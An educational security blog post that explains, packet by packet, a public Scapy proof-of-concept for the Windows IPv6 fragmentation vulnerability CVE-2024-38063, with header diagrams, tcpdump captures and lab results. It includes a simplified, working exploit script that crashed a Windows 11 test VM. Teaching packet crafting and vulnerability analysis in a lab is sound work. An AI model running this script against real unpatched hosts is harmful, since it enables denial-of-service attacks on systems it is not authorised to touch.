Understanding Packet Crafting - The Windows IPv6 Vulnerability - CVE-2024-38063: Remote Kernel Exploitation via IPv6
By Securitynik on 2024-09-20 22:00:34
First up, this post is significantly influenced by Miloš ynwarcs script for the above vulnerability. My objective here is to simplify the understanding of what the script is doing. If you intend to follow along, see: https://github.com/ynwarcs/CVE-2024-38063/tree/main for the original script. In the SANS SEC503, we use Scapy a lot for instructing on packet crafting as well as doing lots of demos to reinforce topics around packets. We also spend some time talking about IPv6. As a result, I thought putting together a quick blog post explaining ynwarcs script would be a good way for someone to learn a bit about IPv6, as well as packet crafting, both at the same time. Microsoft's FAQ states "An unauthenticated attacker could repeatedly send IPv6 packets, that include specially crafted packets, to a Windows machine which could enable remote code execution." The vulnerability above affects various versions of Windows and seems to be associated with an integer underflow. More specifically it has to do with the way Windows handles IPv6 extension headers. Even more specifically, in this case, how Windows handles IPv6 reassembly via the reassembly header. I first tried targeting Windows 10 using the script from ynwarcs GitHub repo, the system did not crash. Here is the system configuration.
Host Name:                 SEC504STUDENT
OS Name:                   Microsoft Windows 10 Enterprise
OS Version:                10.0.19044 N/A Build 19044
OS Manufacturer:           Microsoft Corporation
OS Configuration:          Standalone Workstation
OS Build Type:             Multiprocessor Free
Registered Owner:          Windows User
Registered Organization:
Product ID:                00329-10186-30720-AA281
Original Install Date:     5/3/2022, 11:35:25 PM
System Boot Time:          9/20/2024, 4:28:04 AM
System Manufacturer:       VMware, Inc.
System Model:              VMware Virtual Platform
System Type:               x64-based PC
Processor(s):              2 Processor(s) Installed.
We can also see the IPv6 fragmented packets coming in and reassembly required.
C:\windows\system32>netsh interface ipv6 show ipstats
MIB-II IP Statistics
------------------------------------------------------
Forwarding is:                      Disabled
Default TTL:                        128
In Receives:                        46073
In Header Errors:                   9592
In Address Errors:                  16317
Datagrams Forwarded:                0
In Unknown Protocol:                0
In Discarded:                       0
In Delivered:                       30318
Out Requests:                       1019
Routing Discards:                   0
Out Discards:                       8
Out No Routes:                      0
Reassembly Timeout:                 60
Reassembly Required:                19110
Reassembled Ok:                     0
Reassembly Failures:                0
Fragments Ok:                       0
Fragments Failed:                   0
Fragments Created:                  0
What is surprising is that there is 0 "Reassembly Failures" and the system did not crash. However, when I ran the script against Windows 11, the system crashed, resulting in a DoS.
C:\Users\securitynik>systeminfo | more

Host Name:                 SECURITYNIK-WIN
OS Name:                   Microsoft Windows 11 Pro
OS Version:                10.0.22621 N/A Build 22621
OS Manufacturer:           Microsoft Corporation
OS Configuration:          Member Workstation
OS Build Type:             Multiprocessor Free
Registered Owner:          securitynik
Registered Organization:
Product ID:                00330-80000-00000-AA490
Original Install Date:     7/11/2023, 11:48:41 PM
System Boot Time:          9/20/2024, 10:10:53 AM
System Manufacturer:       VMware, Inc.
System Model:              VMware20,1
System Type:               x64-based PC
Processor(s):              2 Processor(s) Installed.
Now, time to understand what the packet crafting within the script is doing. The script is first importing the Scapy functions via:
from scapy.all import *
Next up, it is looking for some configuration information:
iface=''
ip_addr=''
mac_addr=''
num_tries=20
num_batches=20
I set mine to the Windows 11 host configuration.
C:\Users\securitynik>ipconfig /all | more

Ethernet adapter Ethernet0:

   Connection-specific DNS Suffix  . : securitynik.local
   Description . . . . . . . . . . . : Intel(R) 82574L Gigabit Network Connection
   Physical Address. . . . . . . . . : 00-0C-29-40-04-91
   DHCP Enabled. . . . . . . . . . . : No
   Autoconfiguration Enabled . . . . : Yes
   Site-local IPv6 Address . . . . . : fec0::6%1(Preferred)
   Link-local IPv6 Address . . . . . : fe80::ffae:463c:5b03:ed01%12(Preferred)
   IPv4 Address. . . . . . . . . . . : 10.0.0.108(Preferred)
   Subnet Mask . . . . . . . . . . . : 255.255.255.0
   Default Gateway . . . . . . . . . :
This represents the script initial configuration for my scenario.
iface='eth0' # <- This is the IP address of the attacking machine. In my case Kali Linux
ip_addr='fec0::6' # <- The Windows 11 target, IPv6 address
mac_addr='00:0C:29:40:04:91' # <- The MAC Address of the Windows 11 target host.
                                Note the change in format from "-" to ":"
num_tries=20    
num_batches=20
With the configuration out of the way, what is the function "get_packets_with_mac(i)" doing? Well upon closer look it seems it is doing basically the same thing as "get_packets(i)". The key difference seems to be that "get_packets_with_mac(i)" function is using the Ethernet header and setting the destination MAC via "Ether(dst=mac_addr)". "get_packets(i)" does not have this but it looks like everything else is basically the same. Updating my configuration.
iface='eth0' # <- This is the IP address of the attacking machine. In my case Kali Klinux
ip_addr='fec0::6' # <- The Windows 11 target, IPv6 address
mac_addr='' # Leaving this empty this time around
num_tries=20    
num_batches=20
Looking at the key part of the code which is the "get_packets(i)" function.
frag_id = 0xdebac1e + i
The "get_packets(i)" function takes a parameter "i", this I is coming from a for loop. Which means the "frag_id" is being incremented based on the number of tries. The fragment ID should be the same for all fragments within a "fragment train". This means that each of these fragments will be seen as a new fragment instead. For example, if I set "num_batches" and "num_tries" above to 1, here is the output.
┌──(kali㉿securitynik)-[/tmp]
└─$ sudo python ./ipv6.py 
Get packets frag_id: 233548830   batch id: 0
Get packets frag_id: 233548830   batch id: 0
Sending packets
......
Sent 6 packets.
Memory corruption will be triggered in 51 seconds
Whereas, if I keep "num_tries" at 1 and change "num_batches" to 3, we see the fragment ID remains the same:
┌──(kali㉿securitynik)-[/tmp]
└─$ sudo python ./ipv6.py                                                                                            
Get packets frag_id: 233548830   batch id: 0     try: 0
Get packets frag_id: 233548830   batch id: 0     try: 0
Get packets frag_id: 233548830   batch id: 0     try: 0
Get packets frag_id: 233548830   batch id: 0     try: 0
Get packets frag_id: 233548830   batch id: 0     try: 0
Get packets frag_id: 233548830   batch id: 0     try: 0
Sending packets
..................
Sent 18 packets.
Memory corruption will be triggered in 51 seconds
If I set the "num_tries" to 3 and keep "num_batches" at 1, we see the change:
┌──(kali㉿securitynik)-[/tmp]
└─$ sudo python ./ipv6.py 
Get packets frag_id: 233548830   batch id: 0     try: 0
Get packets frag_id: 233548830   batch id: 0     try: 0
Get packets frag_id: 233548831   batch id: 1     try: 1
Get packets frag_id: 233548831   batch id: 1     try: 1
Get packets frag_id: 233548832   batch id: 2     try: 2
Get packets frag_id: 233548832   batch id: 2     try: 2
Sending packets
..................
Sent 18 packets.
Memory corruption will be triggered in 51 seconds
Now that we know the fragment ID is increasing with each try, time to dig into the rest of the code. Looking at the 3 main lines:
first = IPv6(fl=1, hlim=64+i, dst=ip_addr) / IPv6ExtHdrDestOpt(options=[PadN(otype=0x81, optdata='a'*3)])
second = IPv6(fl=1, hlim=64+i, dst=ip_addr) / IPv6ExtHdrFragment(id=frag_id, m = 1, offset = 0) / 'aaaaaaaa'    
third = IPv6(fl=1, hlim=64+i, dst=ip_addr) / IPv6ExtHdrFragment(id=frag_id, m = 0, offset = 1)
Sending each line one at a time starting with the first. Notice I dropped the variables in the case of "64+i" and "ip_addr".
>>> send(IPv6(fl=1, hlim=64, dst='fec0::6') / IPv6ExtHdrDestOpt(options=[PadN(otype=0x81, optdata='a'*3)]))
.
Sent 1 packets.
So what is going on with that packet? Let's take a look at the IPv6 header first.
   +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
   |Version| Traffic Class |           Flow Label                  |
   +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
   |         Payload Length        |  Next Header  |   Hop Limit   |
   +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
   |                                                               |
   +                                                               +
   |                                                               |
   +                         Source Address                        +
   |                                                               |
   +                                                               +
   |                                                               |
   +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
   |                                                               |
   +                                                               +
   |                                                               |
   +                      Destination Address                      +
   |                                                               |
   +                                                               +
   |                                                               |
   +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
In the crafted "IPv6()" header, the value "fl=1" represents the "Flow Label". This is a 20-bit field used by the sender to label sequences of packet to be treated in the network as a single flow.
The "hlim=64" or "Hop Limit" is decremented by each host (think router for example) that forwards this packet. This is a 1-byte (8 bits) field.
"dst='fec0::6" - This is the 128-bit destination IP address of the host to receive this packet. For this demo, the host is at IPv6 address "fec0::6"
The next important part of this first packet is the "IPv6ExtHdrDestOpt". This relates to the "Destination Options Header". The optional information in this header should only be examined by the destination node (i.e. the true recipient of the packet)
    +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
    |  Next Header  |  Hdr Ext Len  |                               |
    +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+                               +
    |                                                               |
    .                                                               .
    .                            Options                            .
    .                                                               .
    |                                                               |
    +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
What are the options to be specified in this case? The option is the PadN. PadN and Pad1 are the only options defined in RFC 8200.
PadN is used to insert 2 or more octets of padding into the Options area of the header.
In this case the "optype=0x81" is an invalid option.
"optdata='a'*3" - This is just multiplying a 3 times. Hence resulting in an "opdata" of "aaa".
Looking at the packets from the network perspective
┌──(kali㉿securitynik)-[~]
└─$ sudo tcpdump -nnt --interface eth0 "host fec0::6" -X
tcpdump: verbose output suppressed, use -v[v]... for full protocol decode
listening on eth0, link-type EN10MB (Ethernet), snapshot length 262144 bytes

IP6 fec0::2 > fec0::6: DSTOPT no next header
        0x0000:  6000 0001 0008 3c40 fec0 0000 0000 0000  `.....<@........
        0x0010:  0000 0000 0000 0002 fec0 0000 0000 0000  ................
        0x0020:  0000 0000 0000 0006 3b00 8103 6161 6100  ........;...aaa.
IP6 fec0::6 > fec0::2: ICMP6, parameter problem, option - octet 42, length 56
        0x0000:  6000 0000 0038 3a80 fec0 0000 0000 0000  `....8:.........
        0x0010:  0000 0000 0000 0006 fec0 0000 0000 0000  ................
        0x0020:  0000 0000 0000 0002 0402 e59e 0000 002a  ...............*
        0x0030:  6000 0001 0008 3c40 fec0 0000 0000 0000  `.....<@........
        0x0040:  0000 0000 0000 0002 fec0 0000 0000 0000  ................
        0x0050:  0000 0000 0000 0006 3b00 8103 6161 6100  ........;...aaa.
Looking at the second packet:
second = IPv6(fl=1, hlim=64+i, dst=ip_addr) / IPv6ExtHdrFragment(id=frag_id, m = 1, offset = 0) / 'aaaaaaaa'
Notice the small modifications, such as removing the variables:
>>> send(IPv6(fl=1, hlim=64, dst='fec0::6') / IPv6ExtHdrFragment(id=0xdebac1e, m = 1, offset = 0) / 'aaaaaaaa')
.
Sent 1 packets.
What is going on above?
Well no need to review the IPv6() header. Let's focus on the "IPv6ExtHdrFragment". In general, if a packet is larger than the Maximum Transmission Unit (MTU) of the network, that packet will need to be fragmented. In Ethernet the default MTU size is 1500 bytes. Hence, if you wish to spend a packet 1501 bytes, it will need to be fragmented.
The Fragment Header in IPv6 is used to send a packet that is larger than the MTU of the path to the destination. While in IPv4 fragmentation is handled by the source host and intermediate devices such as routers, in IPv6 this is only by source nodes.
We already know from above that the "id=frag_id" is going to generate a new fragment ID for each packet starting with "0xdebac1e" (noticed the word debacle in there 😁) or decimal "233548830".  We also know that each fragment within a fragment train should have the same fragment ID. The fact that we have new fragment IDs for each try, means that we have a set of independent fragments.
The "m=1" means we have more fragments coming beyond this one.
"aaaaaaaa" - 8 bytes of data. Each a represents a byte value. Hence eight 8 as in this case 8 bytes.
What does this packet look like on the network?
┌──(kali㉿securitynik)-[~]
└─$ sudo tcpdump -nnt --interface eth0 "host fec0::6" -X
tcpdump: verbose output suppressed, use -v[v]... for full protocol decode
listening on eth0, link-type EN10MB (Ethernet), snapshot length 262144 bytes

IP6 fec0::2 > fec0::6: frag (0|8) no next header
        0x0000:  6000 0001 0010 2c40 fec0 0000 0000 0000  `.....,@........
        0x0010:  0000 0000 0000 0002 fec0 0000 0000 0000  ................
        0x0020:  0000 0000 0000 0006 3b00 0001 0deb ac1e  ........;.......
        0x0030:  6161 6161 6161 6161                      aaaaaaaa
Note, if you are struggling to understand fragmentation in general, see this post I did a back in 2018, for a simplified walkthrough: https://www.securitynik.com/2018/07/understanding-ip-fragmentation.html Let's prepare to wrap this up by looking at the "third" packet:
third = IPv6(fl=1, hlim=64+i, dst=ip_addr) / IPv6ExtHdrFragment(id=frag_id, m = 0, offset = 1)
>>> send(IPv6(fl=1, hlim=64, dst='fec0::6') / IPv6ExtHdrFragment(id=0xdebac1e, m = 0, offset = 1))
.
Sent 1 packets.
The only items that need attention here is "m=0" and "offset=1". Let's break this down. In the previous example of "IPv6ExtHdrFragment", we had "m=1". We also stated that this means more fragments were coming beyond this (in this case the previous fragment) header. With "m=0" this means there are no more fragments coming beyond this current one. At the same time "offset=0" in the previous example now jumps to "offset=1". Here is a catch for some of you. In the previous fragment, we sent 8 bytes "aaaaaaaa". However, in this case, we are saying the offset is 1. Wouldn't this overwrite one of the "a" in "aaaaaaaa"? Well the answer is no and here is why. The fragment offset is represented as a 13-bit field within a 16-bit field. With the high order 16 bits representing the "Fragment Offset", we have the low order bit representing the "M flag". This is what was set above to "m=1" and "m=0" respectively. Finally, we have a 2 bit field (00) "Res" which is reserved. But still, why no overwriting?! Well, the "Payload Length" field is 16 bits. Meaning we have 2**16 or 65536 bytes available to us. It represents everything beyond the IPv6 header including the extensions. However, the "Fragment Offset" only represents 13 bits. Hence if we do 2**13, we get 8192. As we can see, this does not equate to our 65536. However, if we multiply 8192*8, we get 65536 which gets us back to size of the "Payload Length". So when we see the above "offset=1", we need to multiply the offset value by 8. Hence our actual offset is 8 in decimal. Thus, this fragment falls directly at the end of sequence of the 8 "a". Keep in kind also, when counting offsets, we count from 0. So, 8 bytes goes from 0-7. Hence the final fragment at offset 8 sits directly after this one. Also something else to consider, we sent only 16 bytes of payload in the first fragment. 8 of these represent the "Fragment Header" and the other 8 bytes represent the sequence of 8 "a" for 8 bytes. The second fragment we sent no data but there is an 8 byte "Fragment Header". In total, we sent 24 bytes. This is wayyyyyyyyyyyyy below any normal MTU and on a normal day would not require fragmentation. What does the final packet look like on the wire:
┌──(kali㉿securitynik)-[~]
└─$ sudo tcpdump -nnt --interface eth0 "host fec0::6" -X
tcpdump: verbose output suppressed, use -v[v]... for full protocol decode
listening on eth0, link-type EN10MB (Ethernet), snapshot length 262144 bytes

IP6 fec0::2 > fec0::6: frag (8|0)
        0x0000:  6000 0001 0008 2c40 fec0 0000 0000 0000  `.....,@........
        0x0010:  0000 0000 0000 0002 fec0 0000 0000 0000  ................
        0x0020:  0000 0000 0000 0006 3b00 0008 0deb ac1e  ........;.......
With core understanding of what ynwarcs's script does, I am just removing some items for simpicity of visualization in this case. Please refer to the original code for full guidance.
from scapy.all import *

iface='eth0'
ip_addr='fec0::6'
num_tries=20
num_batches=20
	

def get_packets(i):
    frag_id = 0xdebac1e + i
    print(f'Get packets frag_id: {frag_id} \t batch id: {i} \t try: {i}')
    first = IPv6(fl=1, hlim=64+i, dst=ip_addr) / IPv6ExtHdrDestOpt(options=[PadN(otype=0x81, optdata='a'*3)])
    second = IPv6(fl=1, hlim=64+i, dst=ip_addr) / IPv6ExtHdrFragment(id=frag_id, m = 1, offset = 0) / 'aaaaaaaa'
    third = IPv6(fl=1, hlim=64+i, dst=ip_addr) / IPv6ExtHdrFragment(id=frag_id, m = 0, offset = 1)
    return [first, second, third]

final_ps = []
for _ in range(num_batches):
    for i in range(num_tries):
        final_ps += get_packets(i) + get_packets(i)

print("Sending packets")
send(final_ps, iface)

for i in range(60):
    print(f"Memory corruption will be triggered in {60-i} seconds", end='\r')
    time.sleep(1)
print("")
This is a snapshot of the host "ipstats" prior to sending the script above.
C:\Users\securitynik>netsh interface ipv6 show ipstats
MIB-II IP Statistics
------------------------------------------------------
Forwarding is:                      Disabled
Default TTL:                        128
In Receives:                        0
In Header Errors:                   0
In Address Errors:                  0
Datagrams Forwarded:                0
In Unknown Protocol:                0
In Discarded:                       0
In Delivered:                       43
Out Requests:                       74
Routing Discards:                   0
Out Discards:                       0
Out No Routes:                      0
Reassembly Timeout:                 60
Reassembly Required:                0
Reassembled Ok:                     0
Reassembly Failures:                0
Fragments Ok:                       0
Fragments Failed:                   0
Fragments Created:                  0
Run the script:
┌──(kali㉿securitynik)-[/tmp]
└─$ sudo python ./ipv6.py 
Get packets frag_id: 233548830   batch id: 0     try: 0
Get packets frag_id: 233548830   batch id: 0     try: 0
Get packets frag_id: 233548831   batch id: 1     try: 1
...
Sent 2400 packets.
Memory corruption will be triggered in 1 seconds
After running the script (and before it crashes) we see on the Windows hosts.
C:\Users\securitynik>netsh interface ipv6 show ipstats
MIB-II IP Statistics
------------------------------------------------------
Forwarding is:                      Disabled
Default TTL:                        128
In Receives:                        2426
In Header Errors:                   0
In Address Errors:                  0
Datagrams Forwarded:                0
In Unknown Protocol:                0
In Discarded:                       0
In Delivered:                       2469
Out Requests:                       902
Routing Discards:                   0
Out Discards:                       0
Out No Routes:                      0
Reassembly Timeout:                 60
Reassembly Required:                1598
Reassembled Ok:                     0
Reassembly Failures:                0
Fragments Ok:                       0
Fragments Failed:                   0
Fragments Created:                  0
Finally we see the system crash:
That's it.
References:
CVE-2024-38063 - Security Update Guide - Microsoft - Windows TCP/IP Remote Code Execution Vulnerability
GitHub - ynwarcs/CVE-2024-38063: poc for CVE-2024-38063 (RCE in tcpip.sys)
Learning by practicing: Beginning Integer Overflow/Underflow - Signed and Unsigned integers (securitynik.com)
Learning by practicing: Crafting your first IPv6 UDP packet, with a taste of scapy (securitynik.com)
Where are we with CVE-2024-38063: Microsoft IPv6 Vulnerability - SANS Internet Storm Center
CVE-2024-38063 - Remotely Exploiting The Kernel Via IPv6 (malwaretech.com)
RFC 6437: IPv6 Flow Label Specification (rfc-editor.org)
Understanding the IPv6 Header | Microsoft Press Store
Learning by practicing: Understanding IP Fragmentation Overlapping with Scapy (securitynik.com)